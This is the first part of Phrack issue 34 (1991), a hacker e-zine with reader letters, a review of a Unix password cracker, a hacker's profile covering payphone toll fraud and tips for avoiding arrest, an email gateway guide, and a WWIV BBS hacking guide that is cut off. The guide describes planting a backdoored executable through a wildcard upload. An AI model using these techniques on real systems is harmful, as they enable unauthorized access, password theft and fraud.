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- ==Phrack Inc.==
-
- Volume Three, Issue Thirty-four, File #1 of 11
-
- Issue XXXIV Index
- __________________
-
- P H R A C K 3 4
-
- October 13, 1991
- __________________
-
- ~Technology for Survival~
-
-
- Welcome back to Phrack Inc. From now on, the editorship will consist of
- Crimson Death and Dispater. We have decided to join both our forces and pool
- our assets to make Phrack even better. We will have accounts at various
- Internet sites, however, all file submitions should be mailed to
- phracksub@stormking.com. If you do not have access to the Internet give Free
- Speech BBS a call. Crimson Death will take it from there.
-
- Special thanks this month goes out to Night Ranger for being great help!
- Also thanks to Inhuman and Laughing Gas for taking the time to submit
- material.
-
- Phrack has never really had a distrabution BBS, but you can always get it
- on the Internet at EFF.ORG or CS.WIDENER.COM. Off the Internet, the BBS
- distribution will be from Free Speech BBS. Below are a list of a few other
- boards that carry all the Phracks.
-
- Free Speech BBS (618) 549-4955
- Blitzkreig BBS (502) 499-8933
- Digital Underground (812) 941-9427
- Pyrotechnic's Pit (407) 254-3655
-
- We would also like to thank the nameless numbers of BBS's out there that
- carry Phrack Inc. without their names being listed here!
-
- In this issue of Phrack Inc. we are starting a "letters to the editor"
- section called "Phrack Loopback." Any questions, comments, corrections, or
- problems that you the reader would like to air with Phrack publically will be
- answered there. Loopback will also contain information such as reviews of
- other magazines, catalogs, hardware, and softare. With Loopback we hope to
- make Phrack Inc. more interactive with our readers.
-
- This month we had an oportunity to interview one of our "hacker hero's",
- The Disk Jockey. We are also trying to "liven up" Phrack World News a little
- by adding some editor's comments about recent news topics. If we get a
- positive response, we will continue doing this. Hopefully you will respond
- with your views as well.
-
- Your Editors,
-
- Crimson Death Dispater
- cdeath@stormking.com phracksub@stormking.com
- ===============================================================================
- COMMENTS INSERTED BY SERVER:
-
- As the server of the Phrack Mailing List, I'd like to get a few
- words in. First, since I am currently a VERY DUMB list server, I am currently
- not very interactive. I am working with the system administrators and owners
- to get an interactive "LISTSERV" onto this machine. I would also like to know
- if anyone can get me access to an IP address via SLIP at an Internet site
- VERY CLOSE to the Newburgh/Poughkeepsie, NY area. Another thing I could use
- is a Phrack SubBot for IRC. Something small that would allow you to get
- information on the release date of the next Phrack, add your name to the
- Mailing List, find out the Index of the last issue and such. I can handle
- awk, perl and 'C'. An IRC connection (Not the server software) would also
- be interesting. Another thing I heard of and am interested in is something
- that might start a seperate list. There is a game, where you write a program
- to make a robot to fight another programmed robot. You run these against
- each other to see who will win. You can then modify the code to try again.
- It needs to be compatible with an IBM Risc/6000 running AIX 3.1.5 running
- patch #2006. Help is also needed with SENDMAIL.CF configuration and etc.
- Basically, if you have something that the SERVER might be interested in,
- please mail "server@stormking.com". Also, if someone mentions that they are
- not receiving a copy when they asked to subscribe, anything that DOES bounce
- back here is automatically deleted. For example, if something comes back
- from SUSY.THUNDER@POKER.LASVEGAS.NV.CA (Susan Lynn Headley) and I am told
- that POKER.LASVEGAS.NV.CA is not connected to CYBERPUNK.HAFNER.MARKOFF.NY.NY
- I will NOT attempt to resolve the message.
-
- Storm King List Server
- ===============================================================================
- _______________________________________________________________________________
-
- Phrack XXXIV Table of Contents
- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-
- 1. Introduction to Phrack 34 by Crimson Death & Dispater
- 2. Phrack Loopback by The Phrack Staff
- 3. Phrack Prophile of The Disk Jockey by The Disk Jockey & Dispater
- 4. The AT&T Mail Gateway by Robert Alien
- 5. The Complete Guide to Hacking WWIV by Inhuman
- 6. Hacking Voice Mail Systems by Night Ranger
- 7. An Introduction to MILNET by Brigadier General Swipe
- 8. TCP/IP: A Tutorial Part 2 of 2 by The Not
- 9. Advanced Modem-Oriented BBS Security by Laughing Gas & Dead Cow
- 10. PWN/Part01 by Dispater
- 11. PWN/Part02 by Dispater
- _______________________________________________________________________________
-
- ==Phrack Inc.==
-
- Volume Three, Issue Thirty-four, File #2 of 11
-
- ^[-=:< Phrack Loopback >:=-]^
-
- By: The Phrack Staff
-
- Phrack Loopback is a forum for you, the reader, to ask questions, air
- problems, and talk about what ever topic you would like to discuss. This is
- also the place The Phrack Staff will make suggestions to you by reviewing
- various items of note; magazines, software, catalogs, hardware, etc.
- _______________________________________________________________________________
-
- What's on Your Mind
- ~~~~~~~~~~~~~~~~~~
-
- >Date: Fri, 20 Sep 91 01:22:30 -0400
- >To: phracksub@stormking.com
- >
- >So what exactly DID happen to Agent Steal? There was a small blurb in
- >PWN for 33, but gave no details. Why was he arrested, what was confiscated,
- >and how long will he probably be away for.
- >
- >Mind you, this is a tragic loss, since Agent Steal was a gifted hacker and
- >had a whole lotta balls to boot.
- >
- > Sincerely,
- >
- > A concerned reader
-
- To be honest, it would not in his best interest to say much about his
- case before his trial. What we have written comes from a very reliable source.
- Some people close to him are denying everything. This is most likely to keep
- from happening to him what happened to people like Mind Rape, who have basically
- been "convicted" by the media.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- >From: Drahgon
- >Date: Thu Sep 26 06:00:35 1991
- >
- > Dear Dispater,
- >
- > My name is Drahgon unless, of course. I have several things to blow
- > from my mind here....
- >
- > How is the progress of Phrack 33? I am not really up on all the
- > hoopla surrounding it, but I am curious. In high school I often
- > published "underground newsletters" about the manufacture of drugs and
- > explosives, etc. The computer underground is a new territory for me
- > and I have just begun. I would love to hear about your mag....I would
- > perhaps have something to offer.
-
- We at Phrack Inc. are here to publish any kind of information you the
- reader are interested in. We, unlike many other people out there, will not
- judge you and can call you a "lamer" if you submit something to us that we
- might think is a little elementary. We might not necessarily run it in Phrack,
- but we aren't the kind of people that are going to call you up in the middle
- of the night on an Alliance Teleconference and harass you. In fact, there are
- many text files out there that are out-dated and need to be corrected!
- Simply put, if you are interested in it, there are probably two hundred others
- out that are afraid to ask, because some El1Te person will call them
- "stupid." Here at Phrack Inc., WE ARE NOT El1Te, WE ARE JUST COOL AS HELL!
- We want to help everyone in their quest for knowledge.
-
- > Secondly, I want to start my own bbs up here in my town. This
- > town is dead, but there is still a glint of life, it needs to be
- > kindled. There are currently no BBS's up here that carry information
- > of an "alternative nature", and there is in fact laws that prevent
- > them from springing up. (whatever happened to freedom of the press?),
- > Well, anyway, I would like to know if you would support a BBS of
- > mine, and maybe you could give me some pointers...
- >
- > Thanx ALOT
- > DRAHGON
-
- That's great! We're always glad to see new faces that are truly interested
- in helping people by becoming a source of information. If you
- have any questions about BBS's you should ask the expert, Crimson Death. He
- will be more than happy to help you out.
- _______________________________________________________________________________
-
- Corrections
- ~~~~~~~~~~
- In V.3, I#33, File 9 of 13, there was a error. R5 Should have been a
- 10K pot and not just a resistor. The corrected part of the schematic
- should look like this:
- _
- +9__S1/ _____________________________________________________________
- | | | | | S3 |
- R1 R2 | R3 o @ o |
- |___C1___| _____| |_________|/___ / o \___ |
- | ____|_____|_____|____ | | |\ | | _| |
- _| o | 6 4 14 | R4 |__ D1 | | R9< |
- S2 | o _|5 13|_____| _| | |__ | |
- | | | | |__ R5< | _| | |
- g |_|10 IC1 8|_ _| | | R8< | |
- | 556 | |__R6< g |__ | | |
- _|9 12|_| _| | | |
- | | | |__C2__g R7< | | |
- | |_11___3___7___2___1__| | | | |
- _______________________________________________________________________________
-
- Hardware Catalog Review
- ~~~~~~~~~~~~~~~~~~~~~~
- by Twisted Pair
-
- You can never get enough catalogs. One reason is because you never know what
- off-the-wall parts you'll be needing. From time to time I'll be reviewing
- catalogs so you'll be able to learn where to get the really good stuff as far
- as computer equipment, telco test equipment, and IC chips are concerned. In
- this issue, we study two of them...
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- SYNTRONICS
- 2143 Guaranty Drive
- Nashville, Tennessee 37214
- (615) 885-5200
-
- I recently saw an issue of "Nuts and Volts" magazine which had a Syntronics ad
- in it. I sent the dollar they wanted for a catalog. Apparently, demand for
- the catalogs was so great that they're having some more printed up. They sent
- my dollar back with an explanation and a partial photocopy of the catalog.
- An associate on the left coast and I want to build a tone decoder and have been
- looking for a particular chip for a long time. We found it in this catalog.
- It's an SSI-202 Tone Decoder IC for $12. Not bad for a chip I was unable to
- locate in about 30 catalogs I've searched through. A fellow phreak was told by
- a zit-faced Radio Shack employee over their 800 number, "They had only 3 left
- and they would cost $100 each." I don't think so.
-
- Syntronics is selling plans for an interesting device you hook up to the phone
- line. With it you can call it and turn on any one of three 110VAC outlets.
- To turn them on you use simple DTMF commands. This would be useful for
- turning on your computer, modem, room bug, security lights, etc from a remote
- location. Plans for this device cost $9 and you'd need the above-mentioned IC
- chip to build it with.
-
- Syntronics carries:
- -------------------
- Project Plans Software Unusual Hardware Kits IC's Transistors
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- Telephone International (The marketplace for
- PO BOX 3589 communications equipment,
- Crossville, Tennessee 38557 services, and employment)
- (615) 484-3685
-
- This is a monthly publication you can receive free. It's usually about 30 pages
- printed on large yellow-pages paper. To save yourself the $50 a year
- first-class yearly subscription rate, just tell them you're a telephone
- technician. Tell them you need to often buy PBX's, Terminal Blocks, etc.
- They'll send it to you free, because you're special!
-
- Here's a sampling of stuff you can find in there:
- -------------------------------------------------
- A Complete Digital Switching System with 3200 lines on a flatbed trailer !!!!!!
- Repaired Payphones Optical Fiber xmission system
- Operator's Headsets CO Digital multiplexers
- AT&T teletypes Used FAX machines
- AT&T Chevy bucket trucks Hookswitches
-
- Digital error message announcers Central Office Coin System Processor Cards
-
- Telephone International lists a bunch of telco seminars happening around the
- country on their "Calendar of Events" page. They also list conferences for
- security organizations including dates and phone numbers you'd need to register.
-
- That's it for this edition of Hardware Hacking. Keep an eye out for good
- suppliers to the Phreak world. Pass'em along to Phrack.
-
- -T_W-I_S-T_E-D_
- -P_A-I_R-
- _______________________________________________________________________________
-
- A Review of the Killer Cracker V.7.0
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by The Legion of d0oDez
-
- As every hacker worth his/her salt knows, the Unix operating system has major
- security problems when it comes to it's passwd file. Although this may be
- good as some people think information should not be hoarded, others think
- information should be kept to be people who can use it best, the one's with
- the most money. The passwd file is the Unix file that stores the user
- information which included username, home directory, and passwords among
- others. I will not go into the basics of Unix as this is not a Unix
- how-to hack file. It is a review of Killer Cracker 7.0 (aka KC7.)
-
- KC7 is a Unix password hacker that is portable to most machines. It is
- written by Doctor Dissector and is free software as the terms of the GNU
- General Public License (By the Free Software Foundation <address at end of
- file>) states. The version 7.0 is not the latest version but seems to be
- the best to use. It is dated as 6/1/91 which makes it pretty recent. 8.0
- is rumored to be out but we have not had the opportunity to review it yet as
- we are still testing it. ;-)
-
- The best thing about KC7 is that you can run it on most machines that will
- run C programs which happens to include MS-DOS machines. With this in
- mind, you can now let your PC do the work of hacking passwords in the privacy
- of your own home without having to use a mainframe which might be a bit
- risky. The distribution copy of KC7 comes with the following files:
-
- KC.EXE -- MS-DOS executable
- KC.DOC -- Documents
- Source.DOC -- The source code to KC
- KC.C -- The Turbo C source code
-
- And other files that pertain to DES and word files.
-
- KC7 works by taking an ascii file composed of words and encrypting them so
- that it can compare the encrypted words with the passwords in the PASSWD file.
- It is pretty efficient but if running on an MS-DOS system, you will probably
- want to use a machine that is at least a 286-12 or higher. The time to
- complete a PASSWD file is directly proportional to how large the file is
- (max size of PASSWD must be less than 64K on an MS-DOS machine) and what
- speed of machine you are using. There are options which allow you to take
- words (aka guesses) from other sources as well as a words file. These
- sources can be words from the PASSWD file such as the username, single
- characters, and straight ascii characters such as DEL or ^D. It can also
- manipulate the guesses in various ways which might be helpful in guessing
- passwords.
-
- Another useful option is the RESTORE function. KC7 has the ability to
- allow the user to abort a crack session and then resume cracking at a
- later date. This is very nice since one does not always have the time
- nor patience to crack a 50k passwd file without wanting to use his/her
- machine for other uses such as trying out new passwords.
-
- We have found that the best way, as suggested by the author, to crack is by
- using the default method which is to crack by word and not by username.
- You will understand when you get a hold of the software.
-
- You can get KC7 at most H/P oriented bbs's as everyone thinks he/she is
- a Unix wizard nowadays.
-
- Overall, KC7 is an excellent program and we suggest it to all Unix hackers.
- We also hope you have enjoyed this file and we look forward to bringing
- more interesting reading to your terminal. Until then.... Happy hacking.
- _____________________________________________________________________________
-
- ==Phrack Inc.==
-
- Volume Three, Issue Thirty-Four, File #3 of 11
-
- -*[ P H R A C K XXXIV P R O P H I L E ]*-
-
- -=>[ Presented by Dispater ]<=-
-
- The Disk Jockey
- ~~~~~~~~~~~~~~~
- Handle: The Disk Jockey (over 10 years now...)
- Call him: Doug
- Reach him: douglas@netcom.com
- Past handles: None
- Handle origin: Selected it way back in the Apple days, when
- it was hip to have a hardware-related name.
- Date of Birth: 12/29/67
- Age at current date: 23
- Approximate Location: Silicon Valley
- Height: 6'1"
- Weight: 220 lbs.
- Eye color: Green
- Hair Color: Blond/brown
- Education: Cornell, Univ of Michigan, Stanford, and a
- slew of others schools that I had the
- opportunity to attend. What started out as
- a strong belief in law became so jaded that
- I fell back on Comp Sci. Still wake up in
- the middle of the night yelling "NO!, NO!"
- Also have a wallpaper degree in Psychology.
- Computers: First: Apple //. Presently: several. Mac
- IIfx, 386/33, and several others that I can't
- seem to get rid of...
-
- -------------------------------------------------------------------------------
-
- The Story of my Hacking Career
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
- I was lucky enough to be able to get my hands on computers early, back in
- the days of the PET and the TRS-80. Although we poke fun at a Trash-80 now, at
- the time I was completely fascinated by it. Remember Newdos/80, LDOS, and
- utilities like SuperZap?
-
- Things started really rolling after a friend introduced me to the Apple.
- Although I never fell into the stereotype of being a computer "nerd" (don't we
- all like to think that?), compared to the redundancy of normal schoolwork,
- learning about the Apple was a new and unexplored world. Unlike most of the
- other computer "types", I didn't read science fiction, didn't have any social
- problems, and thought looking at girls was more enjoyable than talking about
- hardware. Well, depending on the hardware. (ha-ha!)
-
- "Cracking" Apple software was of course the next logical step. The 6502
- was a wonderful chip, and easy to learn. Copy-cards and other "hacked"
- hardware was becoming findable and it was getting to the point that the
- only goal was to get your hands on pre-release software. Before I had entered
- the "modem" world, friends had a network of other people across the country and
- traded things by mail.
-
- Of course the whole world changed when I picked up a 300 baud modem.
- Suddenly there was the communication and knowledge that I had been hungry for.
- People wrote text files on just about everything imaginable. What is the
- president's phone number? How can I call the pope? How can I make lowercase
- on my Apple II? What are the routing numbers for boxing to the Eastern Bloc
- countries?
-
- Codes were never much of an interest. The systems that ran them, however,
- were quite interesting. As technology advanced, SCCs started using
- sophisticated AI techniques to detect any kind of abnormal usage instantly.
- Codes used to last several months, now they only lasted a few hours. Boxing,
- however, was a little more elegant and was the flashy way to call your friends.
-
- Even before I had ever heard of boxing or phreaking, I enjoyed the
- benefits of what we now know as a "red box". While in boarding school, I
- noticed that a somewhat broken phone emitted obscenely loud "beeps" when you
- dropped in a quarter. I took a little micro-recorder and recorded myself
- dropping about $5.00 into the phone. When I played this back into the
- telephone, the telco thought I was actually dropping change in the machine! I
- was able to call my girlfriend or whomever and speak for hours. Now most
- payphones mute those tones so they are barely audible, if at all.
-
- Local user groups were a good place to pick up software, legal and
- otherwise. Remember those damn "CLOAD" magazine tapes for the TRS-80? 80-Micro
- magazine? The early 80's was the time of the hardware hacker - anything
- bizarre you wanted you had to make yourself, since it wasn't available
- otherwise. Now you can call any of a slew of 800 numbers, give them your
- credit card number (!) and have it on your doorstep the next day.
-
- I think part of the problem of the "new generation" of hackers, phreakers,
- warez kids, etc, is that they never had the experience with low-level stuff and
- actually having to into the hardware to get what they wanted. Their only
- programming experience is coming from school, which gives a shallow and usually
- totally impractical background for the "real world".
-
- My eventual disgust with the pirate world came when products such as
- "Pirate's Friend" came out, allowing people to sector edit out my name and
- insert theirs. I had spent quite a lot of time trying to find new software,
- and enjoyed the ego stroke of having my name passed around. I had a lot of
- respect for book authors that were plagiarized after that...
-
- About the industry
- ~~~~~~~~~~~~~~~~~
-
- The computer industry in general is interesting. Working in it, I hope
- I'm justified to speak about it. Getting a job is quite easy, since the
- technology is changing so much, unless it is in something that will be around
- for some time, you can usually pick up a job by just knowing the latest
- developments, the buzzwords, and having good "chemistry". In the valley many
- firms realize that colleges don't really teach you much in the way of practical
- knowledge. At best, they give you the opportunity to try different types of
- machines. It amazes me that HR departments in companies across the country
- won't even look at a resume unless the applicant has a college degree.
- Advanced degrees are a different matter and are usually quite applicable
- towards research, but your usual BA/BS variety? Nah. If you want to make a
- lot of money in this industry, all you need to do is get the reputation as a
- person who "gets things done" and have superior communication skills. You can
- write your ticket after that.
-
- About legal issues
- ~~~~~~~~~~~~~~~~~
-
- Anyone who has ever read some of my later text files (1986, 1987) knows
- that I had no qualms about the legalities of beating an establishment.
- Although my line of morals was probably beyond where others placed theirs, I
- could always justify to myself damage or loss to an establishment, "beating the
- system", rather than hurting the individual. Although I am pretty right-winged
- in beliefs, I have a great distrust for the policing agencies.
-
- Various memories
- ~~~~~~~~~~~~~~~
-
- Getting a call from my father while at school and being told that Control
- C had called him and relayed the message "Tell Doug the FBI are after The Disk
- Jockey. Get rid of everything and hide." To say I "cleaned house" would have
- been a gross understatement. I knew this was true, I, like many others, had
- just ridden on the false pretense that they would have better things to do then
- come after me. I later saw intelligence reports showing that I had been kept
- track of for some time. I was described as:
-
- "Involved in some type of student-loan scam through creating fictitious college
- applicants at his school. Very violent temper, ruthless attitude. Breaks
- people's legs for money (TX). Owns a motorcycle and a european sedan. Nasty
- hacker."
-
- Only a handful of people would know that I had a motorcycle, so it was
- somewhat upsetting that they had this kind of information on me. I later saw
- some of this same information in Michigan Bell Security's records. They also
- had the correct phone number for my place at Cornell, my parents number, and
- even the number of some of my personal non-computer related friends.
-
- SummerCon in 1987 was a fun experience. I had the opportunity to meet
- many of the people that I communicated with regularly, as well as wonder why
- people thought St. Louis was such a wonderful place. While there were a few
- socially "on-the-fringe" types, I was amazed that most of the other "hackers"
- didn't fit the usual stereotypes. They were just regular guys that had a some
- above average cleverness that allowed them to see the things that others
- couldn't.
-
- By the time I was 20 years old, I had about $40,000 worth of credit on
- plastic, as well as a $10,000 line of credit for "signature loans" at a local
- bank. The credit system was something that seemed fun to exploit, and it
- doesn't take long to figure out how the "system" works. With that kind of cash
- Aavailable, however, it's tempting to go and buy something outrageous and do
- things that you wouldn't normally do if you had the cash. This country is
- really starting to revolve around credit, and it will be very hard to survive
- if you don't have some form of it. If more people were aware of how the credit
- systems worked, they might be able to present themselves in a better light to
- future creditors. I don't think that credit is a difficult thing to
- understand, I just had an unusual interest in understanding and defeating it.
- Perhaps this is something that my future text files should be about.
-
- Getting busted
- ~~~~~~~~~~~~~
-
- On June 27, 1988 at 1:47am, I had just parked my car outside my apartment
- and was walking up to the door when I heard someone say "Doug?" I knew that no
- friend of mine would be visiting at that hour, so I knew my fate before I
- turned around. An FBI agent, State police detective and a local detective were
- walking up to me. "We have a warrant for your arrest." Interestingly, they had
- actually several warrants, since they weren't sure what my name was. I was
- being arrested for 6 counts of "conspiracy to commit fraud". After being
- searched to make sure I wasn't carrying a gun, they asked if they could "go
- into my apartment and talk about things". Although I had completely "cleaned
- house" and had nothing to hide in there, I wasn't about to help out an
- investigation on me. "Ah, I think I had better contact an attorney first."
- "Is there one you can call right now?" "Are you kidding? It's 2:00am!"
-
- I was handcuffed and had my legs strapped together with a belt and was
- thrown in the back of a car. This was one of those usual government cars that
- you see in the movies with the blackwalls and usual hubcaps. Interestingly
- enough, the armrest of the car hid quite an array of radio equipment. Although
- pretty freaked out, I figured the best thing to do at that point was try to get
- some sleep and call the best attorney money could by in the morning.
-
- Little did I know where I was being brought. I was driven all the way to
- a small Indiana town (population 5,000) where a 16 year-old Wheatfield Indiana
- boy had made the statement that he and I "agreed to devise a scam". Although
- nothing was ever done, merely planning it created the conspiracy charge.
-
- I figured that after my arraignment I could post bail and find an
- attorney. I had almost $10k in the bank and could probably find more if I
- needed it. I was sadly mistaken. The next day at my arraignment the charges
- were read and bail was set -- $150,000.00, cash only!
-
- In a strange turn of events, the FBI decided to totally drop the case
- against me. The federal prosecutor figured it wasn't worth wasting his time
- and they jumped out. However, the Indiana state police were involved in my
- arrest and were angry that the FBI was dropping the case after they had
- invested so much time and money in the case, so they decided to pursue the case
- themselves. There is so much friction between the FBI and state police, that
- the FBI didn't even answer their letters when they tried to request information
- and data files on me.
-
- Funny. I spent 6 months in a tiny county jail, missing the start and
- first semester of school. I was interrogated constantly. I never told on a
- sole and never made a statement about myself. I sat in jail daily, reading
- books and waiting for my court dates. Although I never expected it, nobody
- ever thanks you when you keep your mouth shut. I can't imagine that many
- people would sit in jail for a long time in order to save their friends.
- Perhaps it's a personal thing, but I always thought that although I doubt
- someone else would do it for me, I would never, ever tell anything on anyone
- else. I would never be responsible for someone else's demise. It took a lot
- of money, and a lot of friday nights of frustration, but I walked away from
- that incident without ever making a statement. It was at a time when my
- "roots" were deepest and I probably could have really turned in a lot of other
- people for my benefit, but it was at a time in my life where I could afford to
- miss some school and the integrity was more important to me. There were a lot
- of decisions that had to be made, and spending time in jail is nothing to be
- proud of, but I never backed down or gave in. It did provide the time for me
- to really re-evaluate who and what I was, and where I was going.
-
- People I've known
- ~~~~~~~~~~~~~~~~
-
- Compaq Personal friend for some time now.
- Control C Mostly likely the craziest guy I've ever met.
- Really nice guy.
- Knight Lightning Would call me up in the middle of the night and
- want to discuss philosophical and social issues.
- Kind of guy I would probably get along with outside
- of computers as well.
- Loki Friend since high school. Made a big splash in the
- h/p world, then disappeared from it. He and I (and
- Control C) drove to SummerCon together.
- Shooting Shark Great guy who used to be into calling bridges
- and would yell "Hey, I'm paying for this!" Truly
- one of the only people that I ever knew that didn't
- do anything blatantly illegal. Most of our email
- was over the optimization of crypt. The Mad Alchemist
- Sysop of Lunatic Labs, one of the only boards that
- I feel is worth the telephone call anymore.
- He has given me a lot of slack and runs
- a BBS that picks up some of the most obscure
- information. A sysop that others should be judged
- by.
- Tom Brokaw Personal friend since childhood that stood by me
- through thick and thin, bailing me out of trouble
- time and time again. I can never thank him enough
- for being a true friend.
-
- BBSs
- ~~~
- More than I could mention here. A few more recent notables --
-
- Atlantis Although run on an Apple, the Lineman had this
- system so slick and customized that it became the
- standard that a lot of the PC based boards were
- created with. It was the first real
- "clearinghouse" for text files.
- Free World II Run by Major Havoc and myself, this was an
- incredibly robust system, and was one of the first
- to be run on a US Robotics HST. Although it was
- primarily a discussion board, the file areas
- offered some of the best files -- virtually no
- games, but about every real utility and the like.
-
- Metal AE 201-879-6668 - this was a true blue AE line that
- was around for like 5 or 6 years and was ALWAYS busy.
- Had all of the original cDc and other bizarre text
- files, occasionally some new Apple warez.
-
- Lunatic Labs Still up and still great.
-
- Metal Shop Private Perhaps one of the best boards of all time.
- Run by Taran King and had a healthy, yet
- secure userlog. It was a closed system, the
- only way to get on was to know somebody.
- Everyone on the system knew each other in
- some sense.
-
- World of Cryton One of the first boards to have a "philter" and to
- really push the messages as far as codes, accounts,
- card numbers, etc. This was also the demise, along
- with many of the 414 hackers.
-
- Misc
- ~~~
-
- 2600 Magazine How could I not like a magazine that published
- articles I wrote? This really is a great magazine
- and anyone who is interested in computers, privacy,
- or cyber-issues in general should subscribe.
-
- Fame...? Was in the movie "Hoosiers" (thanks for bringing
- that up, Shark!), even though I'm not a basketball
- fan. Met Dennis Hopper, etc. Went to school with
- a lot of famous people's kids. Most have some
- pretty serious problems. Be glad you are who you
- are.
-
- Marriage...? I'm single and will do everything I can to stay
- that way. When people ask me about getting married
- I tell them that the idea of car payments scare me.
- I enjoy having girlfriends, but I've become too
- independent. I still run around at bars until
- sometimes 3:00am or so, but still manage to spend
- about 50 or 60 hours a week at work. Even if I cut
- out the bar scene, I wouldn't have much time to
- spend with someone else on a daily basis.
-
- Advice If you ever get into doing illegal things, make
- sure you do them by yourself. Your chances of
- getting caught when you do things solo and resist
- the temptation to "brag" about them is minimal.
- When someone else knows about what you have done,
- it doesn't matter how good of a friend they are.
- If they get into trouble, you are going to the
- sacrificial lamb when it comes to negotiating their
- freedom. Even the strongest willed individuals
- seem to crumble when questioned by police.
- Groups are bad news. There are very little
- advantages to being in a group and all it does is
- increase your personal risk by multitudes.
- Cracking groups aren't nearly as dangerous, but
- they DO bring boards down. Look to the fate of
- groups such as LOD for examples of group fate. Lex
- Luthor, perhaps one of the most elusive and private
- hackers of all time was the one to bring down the
- rest of the group. This was tough for me, as many
- of the members were people I talked with and could
- really feel for.
-
- Don't get discouraged in life if you feel that you
- are behind the rest because you don't come from a
- rich family or have the best equipment. I left
- home when I was 17 years old, keeping only minimal
- contact with my parents since then and lived life
- pretty well, using my abilities to "smooth talk"
- and pure enthusiasm to walk into about any job.
- Don't put people down -- everyone has something to
- teach you, even the bum on the street might be able
- to tell you how to make some free phone calls!
- There is a wealth of information to be found via
- Usenet, text files, or even your school or public
- library. Stay informed and well read.
-
- Email I always enjoy hearing from people. Reach me via
- the Internet at douglas@netcom.com, or on Lunatic
- Labs BBS.
-
- ________________________________________________________________________________
-
-
- ==Phrack Inc.==
- Volume Three, Issue Thirty-four, File #4 of 11
- _______________________
- || ||
- || The AT&T Mail Gateway ||
- || ||
- || December 19, 1990 ||
- || ||
- || by Robert Alien ||
- ||_______________________||
-
- The Internet Gateway
- ~~~~~~~~~~~~~~~~~~~
- The Internet Gateway provides Internet e-mail users with a method of
- communication to AT&T Mail. The Interconnect consists of various private
- email networks and uses an addressing format better know as Domain Addressing
- Service (DAS).
-
- A domain address consists of a user name, followed by an @ sign and/or % sign
- and a domain name, which is usually the system name.
-
- Example:
-
- jdoe@attmail.com
-
- Sending Email to Internet Users
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- To send email from the AT&T MailService to the Internet community use the UUCP
- addressing style.
-
- Example:
-
- internet!system.domain!username
-
- Translates to:
-
- internet!gnu.ai.mit.edu!jdoe
-
- If you are sending e-mail to an Internet user whose e-mail address may be in
- the RFC 822 format (user@domain), you must translate the RFC address before
- sending your message to an Internet recipient.
-
- username@system.domain (Internet user's address)
-
- internet!system.domain!username (to a UUCP address)
-
- Example:
- username%system2@system.domain (Internet user's address)
-
- Translates to:
- internet!system.domain!system2!username
-
- Sending Email From The Internet
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- To send email to the AT&T Mail Service, Internet users can choose either the
- RFC 822 or UUCP addressing style. The Internet recognizes attmail.com as the
- domain identifier for AT&T Mail when electronic messages are sent through the
- gateway. Although many Internet users choose to send e-mail using the RFC 822
- addressing style, the UUCP style is also available on many UNIX systems on the
- Internet, but not every system supports UUCP. Below are examples of both
- addressing styles:
-
- RFC 822 Addressing: username@attmail.com
-
- Example:
-
- jsmith@attmail.com
-
- UUCP Addressing: attmail.com!username
-
- Example:
-
- attmail.com!jdoe
-
- Although email can be sent through the Internet gateway, surcharged services,
- such as Telex, FAX, COD, U.S. Mail, overnight, urgent mail and messages
- destined to other ADMDs connected to AT&T Mail are not deliverable. If you are
- an Internet e-mail user attempting to use a surcharged service and are not
- registered on AT&T Mail, you will not be able to send your message, and will be
- automatically notified. Below is a list of surcharged services that are
- unavailable to Internet users.
-
- * FAX
- * Telex
- * COD
- * U.S. Mail
- * Overnight
- * Administrative Management Domain (ADMD) Messages
-
- Sending Email to Bitnet Users
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- To send email to BITNET users from AT&T Mail, enter:
-
- internet!host.bitnet!user
-
- Sending Email to UUNET Users
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~
- To send email to UUNET users from AT&T Mail via the Internet Gateway, enter:
-
- attmail!internet!uunet!system!user
-
- Internet Restrictions
- ~~~~~~~~~~~~~~~~~~~~
- The following commercial restrictions apply to the use of the Internet Gateway.
-
- * Users are prohibited to use the Internet to carry traffic between commercial
- (for profit) electronic messaging systems.
-
- * Advertising and soliciting i.e., messages offering goods or services for sale
- or offers of jobs.
-
- * Provision of for-profit service, other than electronic messaging to Internet
- users, is permitted (e.g., database services) if such service is used for
- scholarly research purposes and its costs are borne by individual or
- institutional subscription.
- _______________________________________________________________________________
-
-
- ==Phrack Inc.==
-
- Volume Three, Issue Thirty-four, File #5 of 11
-
- *** ***
- *** ***
- *** The Complete Guide ***
- *** to Hacking WWIV ***
- *** ***
- *** by Inhuman ***
- *** September 1991 ***
- *** ***
- *** ***
-
- WWIV is one of the most popular BBS programs in the country. With
- thousands of boards in WWIVnet and hundreds in the spinoff WWIVlink, there is a
- lot of support and community. The nice thing about WWIV is that it is very
- easy to set up. This makes it popular among the younger crowd of sysops who
- can't comprehend the complexities of fossil drivers and batch files. In this
- file, I will discuss four methods of hacking WWIV to achieve sysop access and
- steal the user and configuration files. Just remember the number one rule
- of hacking: Don't destroy, alter, or create files on someone else's computer,
- unless it's to cover your own trail. Believe me, there is nothing lower than
- the scum who hack BBSes for the sheer pleasure of formatting someone else's
- hard drive. But there is nothing wrong (except legally) with hacking a system
- to look at the sysop's files, get phone numbers, accounts, etc. Good luck.
-
- ***
- *** Technique #1: The Wildcard Upload
- ***
-
- This technique will only work on a board running an unregistered
- old version of DSZ and a version of WWIV previous to v4.12. It is all
- based on the fact that if you do a wildcard upload (*.*), whatever file you
- upload will go into the same directory as DSZ.COM, which is often the main BBS
- directory. So there are several methods of hacking using this technique.
-
- If the sysop is running an unmodified version of WWIV, you can simply
- compile a modded version of it with a backdoor and overwrite his copy. Your
- new copy will not be loaded into memory until the BBS either shrinks out (by
- running an onliner or something), or the sysop terminates the BBS and runs it
- again.
-
- You can also have some fun with two strings that WWIV always recognizes at
- the NN: prompt: "!@-NETWORK-@!" and "!@-REMOTE-@!". The first is used by
- WWIVnet to tell the BBS that it is receiving a net call. If the BBS is part of
- a network and you type "!@-NETWORK-@!", it will then wait for the network
- password and other data. If the board is not part of a network, it will just
- act like you typed an invalid user name. The second string is reserved for
